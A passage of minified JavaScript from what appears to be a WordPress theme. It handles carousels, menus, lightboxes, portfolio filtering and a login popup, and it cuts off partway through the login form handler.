t=e(this),i=t.parent(),n=!0,o=!1,s=!0,r=1,l=1,d=1,c=600,p=1,f=0,u=5e3,h=!0,m=!1,v=ajax_var_more.carousel_e,g=ajax_var_more.slider_e,y="horizontal",b=!1,C=(t.attr("data-thumbs"),"fetured-swiper-"+Math.floor(-999998*Math.random()+1)+1);if(t.hasClass("no-df"))return;if(t.hasClass("penci-owl-loaded"))return;if(t.hasClass("nav-thumb-creative"))return;if(t.hasClass("penci-featured-loaded"))return;t.attr("data-id")&&(C=t.attr("data-id")),t.attr("data-ceffect")&&(v=t.attr("data-ceffect")),t.attr("data-seffect")&&(g=t.attr("data-seffect")),t.addClass(C),t.find(".swiper-slide").removeClass("penci-ajrs-animate"),"false"!==t.attr("data-nav")&&t.append('<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>'),e("html").attr("dir"),"true"===t.attr("data-dots")&&(o=!0,t.find(".penci-owl-dots").length||t.append('<div class="penci-owl-dots"></div>')),"false"===t.attr("data-loop")&&(s=!1),t.attr("data-nav"),"false"===t.attr("data-auto")&&(n=!1),t.attr("data-margin")&&(f=parseInt(t.data("margin"))),t.attr("data-desktop")&&(r="auto"==t.data("desktop")?"auto":parseInt(t.data("desktop"))),t.attr("data-tablet")&&(l="auto"==t.data("tablet")?"auto":parseInt(t.data("tablet"))),t.attr("data-tabsmall")&&("auto"==t.data("tabsmall")||parseInt(t.data("tabsmall"))),t.attr("data-mobile")&&(d="auto"==t.data("mobile")?"auto":parseInt(t.data("mobile"))),t.attr("data-speed")&&(c=parseInt(t.data("speed"))),t.attr("data-autotime")&&(u=parseInt(t.data("autotime"))),t.attr("data-item")&&(p=parseInt(t.data("item"))),t.attr("data-lazy")&&(m=!0),t.attr("data-height")&&(h=t.attr("data-height")),t.attr("data-direction")&&(y=t.attr("data-direction")),"vertical"!=y&&"false"!=t.attr("data-e")||(b=!0);let w=0,_=!1;var k=.5,x={loop:s,spaceBetween:f,slidesPerView:p,speed:c,autoplay:n,pauseOnMouseEnter:!0,autoHeight:h,slideActiveClass:"active",watchSlidesProgress:!0,lazyLoading:m,direction:y,navigation:{nextEl:"."+C+" .owl-next",prevEl:"."+C+" .owl-prev"},breakpoints:{320:{slidesPerView:d,direction:"horizontal"},768:{slidesPerView:l,direction:"horizontal"},1170:{slidesPerView:r}},on:{init:function(){t.addClass("penci-owl-loaded")},afterInit:function(){t.addClass("penci-featured-loaded")},touchStart(e){if(p>1)_=!0,e.on&&e.on.touchStart&&e.on.touchStart(e);else for(var a=this,t=0;t<a.slides.length;t++)null!==a.slides[t].querySelector(".slide-inner")&&"creative"==g&&(a.slides[t].style.transition=""),null!==a.slides[t].querySelector(".penci-swiper-mask")&&"creative"==g&&(a.slides[t].style.transition="")},touchEnd(e){p>1&&(_=!1,e.on&&e.on.touchStart&&e.on.touchEnd(e))},setTransition:function(e,a){if(!b&&e.slides)for(var t=0;t<e.slides.length;t++)null!==e.slides[t].querySelector(".slide-inner")&&"creative"==g&&(e.slides[t].style.transition=a+"ms",e.slides[t].querySelector(".slide-inner").style.transition=a+"ms"),null!==e.slides[t].querySelector(".penci-ctslide-bg")&&"creative"==g&&(e.slides[t].style.transition=a+"ms",e.slides[t].querySelector(".penci-ctslide-bg").style.transition=a+"ms"),null!==e.slides[t].querySelector(".penci-swiper-mask")&&"creative"==g&&(e.slides[t].style.transition=a+"ms",e.slides[t].querySelector(".penci-swiper-mask").style.transition=a+"ms")},progress(e,a){if(!_&&!b)if(p>1&&"swing"===v){e.on&&e.on.progress&&e.on.progress(e,a);const t=e.progress>w?"next":"prev";w=e.progress;const i=e.params.speed/16,n=e.visibleSlidesIndexes?e.visibleSlidesIndexes:[],o=n[0],s=n[n.length-1],r=(e,a)=>{e.style.transitionDelay="next"===t&&a>=o?`${(a-o+1)*i}ms`:"prev"===t&&a<=s+1?`${(s-a+1)*i}ms`:"0ms"};e.slides.forEach((a,t)=>{e.animating?(a.style.transitionDelay="0ms",requestAnimationFrame(()=>{r(a,t)})):r(a,t)})}else for(var t=this,i=0;i<t.slides.length;i++){var n=t.slides[i].progress,o=t.width*k,s=n*o;null!==t.slides[i].querySelector(".slide-inner")&&"creative"===g&&(t.slides[i].querySelector(".slide-inner").style.transform="translate3d("+s+"px, 0, 0)"),null!==t.slides[i].querySelector(".penci-ctslide-bg")&&"creative"===g&&(t.slides[i].querySelector(".penci-ctslide-bg").style.transform="translate3d("+s+"px, 0, 0)"),null!==t.slides[i].querySelector(".penci-swiper-mask")&&"creative"===g&&(t.slides[i].querySelector(".penci-swiper-mask").style.transform="translate3d("+s+"px, 0, 0)")}}}};"swing"===v&&p>1&&!b?(t.addClass("penci-swing-ef"),x.speed=c,x.loop=!1,x.rewind=!0,x.effect="creative",x.followFinger=!1,x.creativeEffect={limitProgress:100,prev:{translate:["-100%",0,0]},next:{translate:["100%",0,0]}}):1!=p||b||(x.effect=g),"flip"!==x.effect&&"cards"!==x.effect||1!=p||(x.loop=!1),"creative"===x.effect&&1===p&&(x.creativeEffect={shadowPerProgress:!0,prev:{translate:["-100%",0,0],opacity:.5},next:{translate:["100%",0,0],opacity:1}}),o&&(x.pagination={el:"."+C+" .penci-owl-dots",type:"bullets",bulletElement:"div",clickable:!0,bulletClass:"penci-owl-dot",bulletActiveClass:"active",renderBullet:function(e,a){return'<div class="'+a+'"><span></span></div>'}}),t.attr("data-thumbs-id")&&(x.thumbs={swiper:a[t.attr("data-thumbs-id")]}),t.attr("data-thumb")&&(x.slideToClickedSlide=!0),i.hasClass("penci-topbar-trending")&&(x.navigation={nextEl:".penci-slider-next",prevEl:".penci-slider-prev"},x.autoHeight=!1,t.attr("data-anim")&&(x.slideActiveClass="animated"),"slideInUp"===t.attr("data-anim")&&(x.effect="creative",x.creativeEffect={shadowPerProgress:!0,prev:{translate:[0,"-100%",0],opacity:0},next:{translate:[0,"100%",0],opacity:1}}),"slideInRight"===t.attr("data-anim")&&(x.effect="creative",x.creativeEffect={shadowPerProgress:!1,perspective:!0,prev:{translate:["20px",0,0],opacity:0},next:{translate:["20px",0,0],opacity:0}}),"fadeIn"===t.attr("data-anim")&&(x.effect="fade",x.fadeEffect={crossFade:!0})),n&&(x.autoplay={delay:u,disableOnInteraction:!1,pauseOnMouseEnter:!0}),a[C]=new Swiper("."+C,x),t.attr("data-thumbs-id")&&a[t.attr("data-thumbs-id")].update(),a[C].update()})},a.slick_slider=function(){e(".penci-image-gallery-thumbnail-slider").each(function(){var a=e(this).find(".pcthumb-s-msl").attr("data-id"),t=e(this).find(".pcthumb-s-csl").attr("data-id"),i=(e(this).find(".pcthumb-s-csl").attr("data-total"),new Swiper("."+t,{loop:!0,slidesPerView:"auto",spaceBetween:0,slideToClickedSlide:!0,on:{init:function(a){e("."+t).addClass("slick-initialized")}},navigation:{nextEl:"."+t+" .slick-next",prevEl:"."+t+" .slick-prev"}})),n=new Swiper("."+a,{slidesPerView:1,autoHeight:!0,loop:!0,thumbs:{swiper:i},on:{init:function(t){e("."+a).addClass("slick-initialized")},slideChange:function(a){var i=a.realIndex;i=0==i?1:i;e("."+t).find(".pcslick-nav-area").find(".current").html(i)}}});i.update(),n.update()})},a.fitvids=function(){e().fitVids&&e(".container").fitVids({ignore:".penci-sticky-video"})},a.sticky_sidebar=function(){if(e().theiaStickySidebar){var a=80;if(e("body").hasClass("admin-bar")&&e("body").hasClass("penci-vernav-enable")?a=52:!e("body").hasClass("admin-bar")&&e("body").hasClass("penci-vernav-enable")?a=20:e("body").hasClass("admin-bar")&&!e("body").hasClass("penci-vernav-enable")&&(a=112),e(".pc-wrapbuilder-header").length){var t=e(".penci_builder_sticky_header_desktop");a=20,t.length&&!t.hasClass("hide-scroll-down")&&(a=t.height()+20),e("body").hasClass("admin-bar")&&(a+=32)}e(".pc-container-sticky").each(function(){var a=e(this);0===a.find(".theiaStickySidebar").length&&a.wrapInner('<div class="theiaStickySidebar"></div>')}),e(".penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column").length&&e(".penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column").theiaStickySidebar({additionalMarginTop:a,minWidth:961}),e(".penci-enSticky .penci-sticky-sb").length&&e(".penci-enSticky .penci-sticky-sb,.penci-enSticky .penci-sticky-ct").theiaStickySidebar({additionalMarginTop:a,minWidth:961}),e("#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar").theiaStickySidebar({additionalMarginTop:a})}},a.mega_menu=function(){e("#navigation ul.menu > li.penci-mega-menu").on("mouseenter",function(){var a=e(this),t=a.find(".row-active");t.find(".penci-lazy");t.fadeIn("200").css("display","inline-block")}),e("#navigation .penci-mega-child-categories a").on("mouseenter",function(){if(!e(this).hasClass("mega-normal-child")&&!e(this).hasClass("cat-active")){var a=e(this),t=a.data("id"),i=a.parent().children("a"),n=a.closest(".penci-megamenu"),o=a.closest(".penci-megamenu").find(".penci-mega-latest-posts").children(".penci-mega-row");o.find(".penci-lazy");i.removeClass("cat-active"),a.addClass("cat-active"),o.hide(),o.removeClass("row-active"),n.find("."+t).fadeIn("300").css("display","inline-block").addClass("row-active")}})},a.categories_lists=function(){e(".pc-advanced-cat li").each(function(a){e(this).find(".children").length&&(e(this).addClass("has-children"),e(this).find(".children").hide(),e(this).append('<u class="indicator"><i class="fa fa-angle-down"></i></u>'))}),e(".pc-advanced-cat .indicator").on("click",function(a){var t=e(this);a.preventDefault(),t.children().toggleClass("fa-angle-up"),t.closest("li").find(".children").slideToggle("fast")}),e(document).on("mouseenter",".penci-mega-menu",function(a){var t=e(this),i=t.find(".penci-megamenu");if(!i.hasClass("loading")&&!t.hasClass("pcmn-ajxd")&&!i.hasClass("loaded")){var n=i.attr("data-menu"),o=i.attr("data-item"),s=i.attr("data-catid"),r=i.attr("data-number"),l=i.attr("data-style"),d=i.attr("data-id"),c=i.attr("data-position");if(i.addClass("loading"),n&&o&&s&&r&&l&&d&&c){var p="penci_megamn_"+n+o+s+r+l+c;if(sessionStorage.getItem(p)){i.append(sessionStorage.getItem(p)),i.removeClass("loading"),i.addClass("loaded");var f=i.find(".row-active");f.fadeIn("200").css("display","inline-block"),e("body").trigger("penci-ajax-menu-loaded")}else e.post(ajax_var_more.megamenu_url,{menu:n,item:o,catid:s,number:r,style:l,position:c,id:d,action:"penci_html_mega_menu"},function(a){sessionStorage.setItem(p,a.data),i.append(a.data),i.removeClass("loading"),i.addClass("loaded");var t=i.find(".row-active");t.fadeIn("200").css("display","inline-block"),e("body").trigger("penci-ajax-menu-loaded")})}}})},a.mobile_ajax_menu=function(){e(".penci-megamenu").each(function(a,t){var i=e(this);if(!i.hasClass("loadingm")&&!i.hasClass("loaded")){var n=i.attr("data-menu"),o=i.attr("data-item"),s=i.attr("data-catid"),r=i.attr("data-number"),l=i.attr("data-style"),d=i.attr("data-id"),c=i.attr("data-position");if(i.addClass("loadingm"),n&&o&&s&&r&&l&&d&&c){var p="penci_megamn_m_"+n+o+s+r+l+c;if(sessionStorage.getItem(p)){i.append(sessionStorage.getItem(p)),i.removeClass("loadingm"),i.addClass("loaded");var f=i.find(".row-active");f.fadeIn("200").css("display","inline-block"),e("body").trigger("penci-ajax-menu-loaded")}else e.post(ajax_var_more.megamenu_url,{menu:n,item:o,catid:s,number:r,style:l,position:c,id:d,action:"penci_html_mega_menu"},function(a){sessionStorage.setItem(p,a.data),i.append(a.data),i.removeClass("loadingm"),i.addClass("loaded");var t=i.find(".row-active");t.fadeIn("200").css("display","inline-block"),e("body").trigger("penci-ajax-menu-loaded")})}}})},a.mobile_menu=function(){e("#sidebar-nav .menu li.menu-item-has-children > a").append('<u class="indicator"><i class="fa fa-angle-down"></i></u>'),e("#navigation .button-menu-mobile").on("click",function(){e("body").addClass("open-sidebar-nav")}),e("#sidebar-nav .menu li a .indicator").on("click",function(a){if(!e("body").hasClass("penci-vernav-cparent")){var t=e(this);a.preventDefault(),t.children().toggleClass("fa-angle-up"),t.parent().next().slideToggle("fast")}}),e(".penci-vernav-cparent #sidebar-nav .menu li.menu-item-has-children > a").on("click",function(a){var t=e(this);a.preventDefault(),t.children().children().toggleClass("fa-angle-up"),t.next().slideToggle("fast")}),e("body").on("click","#close-sidebar-nav",function(a){a.preventDefault(),
e("body").removeClass("open-sidebar-nav")})},a.toggleMenuHumburger=function(){var a=e(".penci-menu-hbg");if(a.length){var t=e("body"),i=e(".penci-vernav-toggle,.penci-menuhbg-toggle,#penci-close-hbg,.penci-menu-hbg-overlay"),n="penci-menuhbg-open";e(".penci-menu-hbg .menu li.menu-item-has-children > a").append('<u class="indicator"><i class="fa fa-angle-down"></i></u>'),e(".penci-menu-hbg .menu li a .indicator").on("click",function(t){if((!e("body").hasClass("penci-hbg-cparent")||a.hasClass("penci-builder-mobile-sidebar-nav"))&&(!a.hasClass("penci-builder-mobile-sidebar-nav")||!a.find(".pchb-cparent").length)){var i=e(this);t.preventDefault(),i.children().toggleClass("fa-angle-up"),i.parent().next().slideToggle("fast")}}),e(".penci-hbg-cparent .penci-menu-hbg .menu li.menu-item-has-children > a").on("click",function(a){var t=e(this);a.preventDefault(),t.children().children().toggleClass("fa-angle-up"),t.next().slideToggle("fast")}),i.on("click",function(e){if(e.preventDefault(),t.hasClass(n))return t.removeClass(n),void i.removeClass("active");e.stopPropagation(),t.addClass(n),i.addClass("active")})}},a.ElementorHumburger=function(){var a=e(".penci-menu-hbg-ele");if(a.length){var t=e("body"),i=e(".penci-vernav-toggle,.penci-menuhbg-toggle,#penci-close-hbg,.penci-menu-hbg-overlay"),n="penci-menuhbg-open";e(".penci-menu-hbg-ele .menu li.menu-item-has-children > a").append('<u class="indicator"><i class="fa fa-angle-down"></i></u>'),e(".penci-menu-hbg-ele .menu li a .indicator").on("click",function(t){if((!e("body").hasClass("penci-hbg-cparent")||a.hasClass("penci-builder-mobile-sidebar-nav"))&&(!a.hasClass("penci-builder-mobile-sidebar-nav")||!a.find(".pchb-cparent").length)){var i=e(this);t.preventDefault(),i.children().toggleClass("fa-angle-up"),i.parent().next().slideToggle("fast")}}),e(".penci-hbg-cparent .penci-menu-hbg-ele .menu li.menu-item-has-children > a").on("click",function(a){var t=e(this);a.preventDefault(),t.children().children().toggleClass("fa-angle-up"),t.next().slideToggle("fast")}),i.on("click",function(e){if(e.preventDefault(),t.hasClass(n))return t.removeClass(n),void i.removeClass("active");e.stopPropagation(),t.addClass(n),i.addClass("active")})}},a.lightbox=function(){e().magnificPopup&&(e('a[data-rel^="penci-gallery-image-content"], .penci-enable-lightbox .gallery-item a').magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0,titleSrc:"data-cap"},gallery:{enabled:!0},zoom:{enabled:!1,duration:300}}),e('a[data-rel^="penci-gallery-bground-content"]').magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0},gallery:{enabled:!0}}),e(".penci-other-layouts-lighbox").magnificPopup({type:"iframe",mainClass:"mfp-fade",fixedContentPos:!0,closeBtnInside:!1,closeOnContentClick:!0}),e(".penci-image-gallery").length&&e(".penci-image-gallery").each(function(){var a=e(this),t=a.attr("id");e("#"+t+" a.penci-gallery-ite").magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0,titleSrc:"data-cap"},gallery:{enabled:!0}})}),e(".penci-post-gallery-container").length&&e(".penci-post-gallery-container").each(function(){var a=e(this),t=a.attr("id");e("#"+t+" a.penci-gallery-ite").magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0,titleSrc:"data-cap"},gallery:{enabled:!0}})}))},a.masonry=function(){var a=e(".penci-masonry, .penci-bgstyle-2 .penci-biggrid-data");a.length&&a.each(function(){var a=e(this);a.imagesLoaded(function(){a.isotope({itemSelector:".item-masonry",transitionDuration:".55s",layoutMode:"masonry"})})})},a.video_background=function(){var a=e("#penci-featured-video-bg");a.length&&e(a).each(function(){var a=e(this),t=a.data("videosrc"),i=a.data("starttime"),n={videoSrc:t,videoStartTime:i,videoPlayOnlyVisible:!1};jarallax(a,n),e(".featured-area").addClass("loaded-wait"),setTimeout(function(){e(".featured-area").addClass("loaded-animation")},1500)})},a.AjaxPortfolio=function(){var t=e(".wrapper-penci-portfolio.pcpt-ajax-ftl"),i=t.find(".penci-portfolio"),n=t.find(".inner-portfolio-posts"),o=t.find(".penci-portfolio-filter a"),s=i.attr("id"),r=t.find(".penci-pagenavi-shortcode"),l=null;if("undefined"!=typeof portfolioDataJs&&null!==portfolioDataJs)for(var d in portfolioDataJs)portfolioDataJs[d].instanceId==s&&(l=portfolioDataJs[d]);e().isotope&&n.length&&n.each(function(){var a=e(this);a.imagesLoaded(function(){a.isotope({itemSelector:".portfolio-item",animationEngine:"best-available",animationOptions:{duration:250,queue:!1}}),a.addClass("loaded"),e(".portfolio-item .inner-item-portfolio").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.addClass("animated")})})})}),o.on("click",function(a){a.preventDefault();var n=e(this),o=n.attr("data-term"),s=n.attr("data-paged")?parseInt(n.attr("data-paged")):1,d=i.find(".pcpt_data_"+o),c=i.find(".inner-portfolio-posts:first-child"),p=t.find(".penci-ajax-more-button"),f=p.data("mes_no_more"),u=p.data("mes");if(n.hasClass("loadmore-finish")?(p.find(".ajax-more-text").html(f),p.addClass("disable")):(p.find(".ajax-more-text").html(u),p.removeClass("disable")),!n.hasClass("loading-data")&&!n.closest("li").hasClass("active")){if(t.find(".penci-portfolio-filter li").removeClass("active"),n.closest("li").addClass("active"),n.addClass("loading-data"),i.addClass("pcftaj-ld"),"*"==o)return i.find(".inner-portfolio-posts").hide(),i.find(".inner-portfolio-posts").removeClass("loaded"),c.show(),c.isotope("layout"),c.addClass("loaded"),n.removeClass("loading-data"),void i.removeClass("pcftaj-ld");if(n.hasClass("loaded_data"))return i.find(".inner-portfolio-posts").hide(),i.find(".inner-portfolio-posts").removeClass("loaded"),e(".pcpt_data_"+o).show(),e(".pcpt_data_"+o).isotope("layout"),e(".pcpt_data_"+o).addClass("loaded"),n.removeClass("loading-data"),void i.removeClass("pcftaj-ld");n.hasClass("load_full")?r.hide():r.show(),l.currentTerm=o,l.query.paged=s;var h={action:"penci_pfl_more_post_ajax",datafilter:l,nonce:ajax_var_more.nonce};e.post(ajax_var_more.url,h,function(a){n.attr("data-paged",s+1);var t=e(a.data.items);d.length||"*"==o||i.append('<div class="inner-portfolio-posts pcpt_data_'+o+'"></div>'),i.find(".inner-portfolio-posts").hide(),i.find(".inner-portfolio-posts").removeClass("loaded"),e(".pcpt_data_"+o).show(),e(".pcpt_data_"+o).addClass("loaded"),t.length>0?(e(".pcpt_data_"+o).isotope().append(t).isotope("appended",t).isotope("layout"),n.addClass("loaded_data")):(e(".pcpt_data_"+o).isotope().isotope("layout"),n.addClass("load_full")),e(".container").fitVids({ignore:".penci-sticky-video"}),e('a[data-rel^="penci-gallery-image-content"]').magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0},gallery:{enabled:!0},zoom:{enabled:!1,duration:300}}),e(".portfolio-item .inner-item-portfolio").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.addClass("animated")})}),n.removeClass("loading-data"),i.removeClass("pcftaj-ld")})}}),a.Ajax_Portfolio_LoadMore.loadMore(l),a.Ajax_Portfolio_LoadMore.infinityScroll(l)},a.Ajax_Portfolio_LoadMore={btnLoadMore:e(".penci-plf-loadmore"),loadMore:function(a){var t=this;e("body").on("click",".penci-plf-loadmore .penci-ajax-more-button",function(i){t.actionLoadMore(e(this),a)})},infinityScroll:function(a){var t=this,i=e(".penci-plf-loadmore"),n=i.find(".penci-ajax-more-button");i.hasClass("penci-infinite-scroll")&&e(window).on("scroll",function(){var i=n.offset().top,o=n.outerHeight(),s=e(window).height(),r=e(this).scrollTop();r>i+o-s&&n.length&&t.actionLoadMore(n,a)}).trigger("scroll")},actionLoadMore:function(a,t){if(a.hasClass("loading-portfolios"))return!1;a.addClass("loading-portfolios");var i=a.data("mes_no_more"),n=(a.data("mes"),a.closest(".wrapper-penci-portfolio").find(".penci-portfolio-filter li.active a")),o=a.closest(".wrapper-penci-portfolio").find(".inner-portfolio-posts.loaded"),s=n.attr("data-term"),r=n.attr("data-paged");t.currentTerm=s,t.query.paged=r;var l={action:"penci_pfl_more_post_ajax",datafilter:t,nonce:ajax_var_more.nonce};e.post(ajax_var_more.url,l,function(t){if(!t.data.items)return a.find(".ajax-more-text").html(i),a.removeClass("loading-portfolios"),n.addClass("loadmore-finish"),o.addClass("nore-moreposts"),a.addClass("disable"),!1;n.attr("data-paged",r+1);var s=e(t.data.items);o.append(s),o.isotope("appended",s).imagesLoaded(function(){o.isotope("layout")}),e(".container").fitVids({ignore:".penci-sticky-video"}),e('a[data-rel^="penci-gallery-image-content"]').magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0},gallery:{enabled:!0},zoom:{enabled:!1,duration:300}}),e(".portfolio-item .inner-item-portfolio").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.addClass("animated")})}),a.removeClass("loading-portfolios")})}},a.portfolio=function(){var t=e(".penci-portfolio");if(!t.hasClass("pcpt-ajax-ftl")){e().isotope&&t.length&&e(".penci-portfolio").each(function(){var t=e(this),i=e(this).attr("id"),n=null;if("undefined"!=typeof portfolioDataJs&&null!==portfolioDataJs)for(var o in portfolioDataJs)if(portfolioDataJs[o].instanceId==i)n=portfolioDataJs[o];t.imagesLoaded(function(){t.isotope({itemSelector:".portfolio-item",animationEngine:"best-available",animationOptions:{duration:250,queue:!1}}),t.addClass("loaded"),e(".portfolio-item .inner-item-portfolio").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.addClass("animated")})});var a=window.location.hash.toString();if(a.length){a=a.replace("#",""),a.match(/:/);var i=a.match(/^([^:]+)/)[1];if(a=a.replace(i+":",""),a.length>1){var o=r.filter('[data-term="'+a+'"]'),s=t.find(".portfolio-item"),d=t.parent().find(".penci-pagenavi-shortcode");if(o.length){l.removeClass("active"),o.parent().addClass("active"),t.isotope({filter:".penci-"+a});var c=o.data("term"),p={};n.currentTerm=c,e.each(n.countByTerms,function(e,a){p[e]=0}),s.each(function(a,t){e.each((e(t).data("terms")+"").split(" "),function(e,a){p[a]++})});var f="number"==typeof p[c]&&p[c]==n.countByTerms[c];d.length&&(s.length===n.count||f?d.hide():d.show())}}}});var s=t.parent().find(".penci-portfolio-filter"),r=s.find("a"),l=s.find("li");l.on("click",function(){var a=e(this),i=a.find("a").data("term"),o=a.find("a").attr("data-filter"),r=s.find("a").filter('[data-term="'+i+'"]'),d=t.find(".portfolio-item"),c=t.parent().find(".penci-pagenavi-shortcode"),p=e(window).scrollTop();l.removeClass("active"),a.addClass("active"),t.parent().find(".penci-ajax-more-button").attr("data-cat",i),t.isotope({filter:o}),r.length&&(window.location.hash="*"==i?"":i,e(window).scrollTop(p));var f={};n.currentTerm=i,e.each(n.countByTerms,function(e,a){f[e]=0}),d.each(function(a,t){e.each((e(t).data("terms")+"").split(" "),function(e,a){f[a]++})});var u="number"==typeof f[i]&&f[i]==n.countByTerms[i];return c.length&&(d.length===n.count||u?c.hide():c.show()),!1}),a.portfolioLoadMore.loadMore(t,n),a.portfolioLoadMore.infinityScroll(n)});var i=e(".penci-plf-loadmore");return!(!e().isotope||!i.length)&&void 0}},a.portfolioLoadMore={btnLoadMore:e(".penci-plf-loadmore"),loadMore:function(a,t){var i=this;e("body").on("click",".penci-ajax-more-button",function(n){i.actionLoadMore(e(this),a,t)})},infinityScroll:function(a){var t=this,i=e(".penci-plf-loadmore"),n=i.find(".penci-ajax-more-button");i.hasClass("penci-infinite-scroll")&&e(window).on("scroll",function(){var i=n.offset().top,o=n.outerHeight(),s=e(window).height(),r=e(this).scrollTop();if(r>i+o-s&&n.length){var l=n.closest(".penci-portfolio");t.actionLoadMore(n,l,a)}}).trigger("scroll")},actionLoadMore:function(a,t,i){if(a.hasClass("loading-portfolios"))return!1;a.addClass("loading-portfolios");var n=a.data("mes_no_more"),o=a.data("mes");i.pflShowIds=[],a.closest(".wrapper-penci-portfolio").find(".portfolio-item").each(function(a,t){i.pflShowIds.push(e(t).data("pflid"))});var s={action:"penci_pfl_more_post_ajax",datafilter:i,nonce:ajax_var_more.nonce};e.post(ajax_var_more.url,s,function(t){if(!t.data.items)return a.find(".ajax-more-text").html(n),a.removeClass("loading-portfolios"),a.closest(".wrapper-penci-portfolio").find(".penci-portfolio-filter li.active").addClass("loadmore-finish"),setTimeout(function(){a.parent().parent().hide(),a.find(".ajax-more-text").html(o)},1200),!1;var i=a.closest(".wrapper-penci-portfolio").find(".penci-portfolio"),s=e(t.data.items);i.find(".inner-portfolio-posts").append(s),i.isotope("appended",s).imagesLoaded(function(){i.isotope("layout")}),e(".container").fitVids({ignore:".penci-sticky-video"}),e('a[data-rel^="penci-gallery-image-content"]').magnificPopup({type:"image",closeOnContentClick:!0,closeBtnInside:!1,fixedContentPos:!0,image:{verticalFit:!0},gallery:{enabled:!0},zoom:{enabled:!1,duration:300}}),i.addClass("loaded"),e(".portfolio-item .inner-item-portfolio").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.addClass("animated")})}),a.removeClass("loading-portfolios")})}},a.gallery=function(){var a=e(".penci-post-gallery-container.justified"),t=e(".penci-post-gallery-container.masonry");e().justifiedGallery&&a.length&&e(".penci-post-gallery-container.justified").each(function(){var a=e(this);a.justifiedGallery({rowHeight:a.data("height"),lastRow:"nojustify",margins:a.data("margin"),randomize:!1})}),e().isotope&&t.length&&e(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var a=e(this).children();if(a.attr("data-cap")&&!a.hasClass("added-caption")){var t=a.attr("data-cap");"undefined"!==t&&(a.children().append('<div class="caption">'+t+"</div>"),a.addClass("added-caption"))}}),t.length&&t.each(function(){var a=e(this);a.imagesLoaded(function(){a.isotope({itemSelector:".item-gallery-masonry",transitionDuration:".55s",layoutMode:"masonry"}),a.addClass("loaded"),e(".penci-post-gallery-container.masonry .item-gallery-masonry").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){a.children().addClass("animated")})})})})},a.Jarallax=function(){if(!e.fn.jarallax||!e(".penci-jarallax").length)return!1;e(".penci-jarallax").each(function(){var a=e(this),t={};a.imagesLoaded({background:!0},function(){jarallax(a,t)})})},a.RelatedPopup=function(){if(e(".penci-rlt-popup").length){var a=e(".penci-rlt-popup"),t=e(".penci-rlt-popup .penci-close-rltpopup");a.find(".penci-lazy");e("body").on("inview",".penci-flag-rlt-popup",function(e,i,n,o){!a.hasClass("rltpopup-notshow-again")&&i&&(a.addClass("rltpopup-show-up"),t.on("click",function(e){e.preventDefault(),a.removeClass("rltpopup-show-up").addClass("rltpopup-notshow-again")}))}),t.on("click",function(e){e.preventDefault(),a.removeClass("rltpopup-show-up").addClass("rltpopup-notshow-again")})}},a.extraFunction={init:function(){this.counterUp(),this.progressBar(),this.loginPopup(),this.recoverPassPopup(),this.registerPopup(),this.login(),this.register(),this.map(),e("#penci_agreebox").is(":checked")&&e(".register-input-checkbox").addClass("checked"),e("body").on("change","#penci_agreebox",function(){e(this).is(":checked")?e(".register-input-checkbox").addClass("checked"):e(".register-input-checkbox").removeClass("checked")})},progressBar:function(){e(".penci-review-process").length&&e(".penci-review-process").each(function(){var a=e(this),t=a.children(),i=10*t.data("width");a.one("inview",function(e,a,n,o){t.animate({width:i+"%"},1e3)})}),e.fn.easyPieChart&&e(".penci-piechart").length&&e(".penci-piechart").each(function(){var a=e(this);a.one("inview",function(e,t,i,n){var o={barColor:a.data("color"),trackColor:a.data("trackcolor"),scaleColor:!1,lineWidth:a.data("thickness"),size:a.data("size"),animate:1e3};a.easyPieChart(o)})})},counterUp:function(){var a=e(".penci-counterup-number");if(!e.fn.counterUp||!a.length)return!1;a.each(function(){var a=e(this);a.one("inview",function(t,i,n,o){setTimeout(function(){e({countNum:a.text()}).animate({countNum:a.attr("data-count")},{duration:2e3,easing:"linear",step:function(){a.text(Math.floor(this.countNum))},complete:function(){a.text(this.countNum)}})},a.attr("data-delay"))})})},loginPopup:function(){var a=e("body"),t=e("#penci-loginpopform"),i=t.closest(".penci-popup-wrapper");t.length&&(e(".penci-login-popup-btn a").magnificPopup({type:"inline",midClick:!0,removalDelay:600,mainClass:"penci-popup-animation"}),a.on("click",".penci-lostpassword-btn",function(a){var t=e(this),i=t.closest(".penci-popup-wrapper");return i.children(".penci-popup-passreset").slideDown("normal"),i.children(".penci-popup-login").slideUp("normal"),a.preventDefault(),!1}),a.on("click",".penci-register-popup-btn",function(a){var t=e(this),i=t.closest(".penci-popup-wrapper");return i.children(".penci-popup-register").slideDown("normal"),i.children(".penci-popup-login").slideUp("normal"),a.preventDefault(),!1}),a.on("click",".penci-login-popup-btn",function(a){var t=e(this),i=t.closest(".penci-popup-wrapper");return i.children(".penci-popup-login").slideDown("normal"),i.children(".penci-popup-register").slideUp("normal"),i.children(".penci-popup-passreset").slideUp("normal"),a.preventDefault(),!1}),e("#penci_user, #penci_pass").on("focus",function(){e(this).removeClass("invalid")}),t.on("submit",function(a){var t=e(this),n=t.find("#penci_user"),o=t.find("#penci_pass"),s=n.val(),r=o.val(),l=t.find(".penci_form_nonce").val(),d=t.find(".g-recaptcha-response");if(d.length)var c=d.val();else 